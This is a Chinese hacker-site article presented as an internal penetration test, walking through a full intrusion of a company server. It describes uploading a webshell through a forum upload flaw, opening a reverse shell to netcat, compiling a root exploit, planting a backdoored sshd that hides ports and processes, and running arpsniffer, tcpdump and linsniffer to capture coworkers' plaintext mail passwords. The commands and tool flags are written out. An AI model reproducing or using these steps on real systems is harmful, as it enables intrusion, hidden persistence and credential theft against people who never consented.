![]() |
|
||||||||||||||
| | 网站首页 | 文章中心 | 软件下载 | 教程下载 | 黑客论坛 | | ||
|
||
|
|||||
| 一次Linux下ARP欺骗嗅探公司邮箱密码的内部渗透测试 | |||||
作者:秒杀 文章来源:本站整理 点击数: 更新时间:2008-8-1 ![]() |
|||||
|
早就跟相关人员说过邮箱认证smtp和pop协议要做加密,否则在公司内网,太容易被人sniffer到明文密码了,另外邮箱密码和bbs公用,bbs也是采用的http协议,没有用https,这些都是问题。虽然我们控制的网络部分已经做过处理了,ip和mac地址做了绑定,即使有人做arp欺骗后,除非不出网关,否则欺骗后网络到达不了网关之外,因此嗅探明文邮箱密码已经不可能(由于邮箱服务器不在同一网段)。但是对于我们一些共用资源的服务器有公网ip和内网ip且处于一个相对风险较高,而且没有根据安全级别进行过相应的安全策略的网络环境内,因此一些问题是显而易见的,但是某些人根本不以为然。所以我进行了一次简单的内部渗透测试。 首先我从有公网ip和内网ip的网络段入手,如公网ip段是222.222.222.0/255.255.255.255,内网ip段192.168.0.0/255.255.255.0。 经过踩点发现222.222.222.77(192.168.0.77)上跑了一个老版本的某php的论坛。经过检测,存在上传漏洞,利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
利用tools里面的反弹连接: 然后在nst上点Back connect 成功登陆 图5: 在本地nc的窗口操作: 回到nc窗口: cd /tmp ls gcc -o in in.c ls /tmp/in 已经是root权限了,下一步上传俺修改过的常用的后门,这个以前写过 一篇文章介绍如何留后门的,这里就不叙述了(替换sshd和部分命令,可隐藏端口、连接、文件、进程等)。 擦擦pp,进行下一步我们的重点。 我们还是直接用后门sshd登录。还是ssh舒服点:) 在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译: [root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet 报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。 [root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm 准备工作已经ok。下面重新编译arpsniffer.c [root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet 这次没报错,编译成功。 [root@bbs111 root]# ./arpsniffer 下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77) [root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110 Now Start... .. . 在另一个登录里面用tcpdump监听下: [root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11 发现有数据,把监听的数据存在文件里面: [root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt 10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。 下面我们就可以用linsniffer监听我们想要的用户名和密码了。 if(ntohs(tcp->dest)==21) p=1; /* ftp */ [root@bbs111 root]# gcc -o linsniffer linsniffer.c 不用管警告,直接运行编译后的linsniffer即可。 [root@bbs111 root]# ./linsniffer 用户名和密码都自动存到了tcp.log下。如图8: 经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。
|
|||||
| 文章录入:秒杀 责任编辑:admin | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 黑客仿冒腾讯建立钓鱼网站欺 LINUX的10个安全管理要点 |
| 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|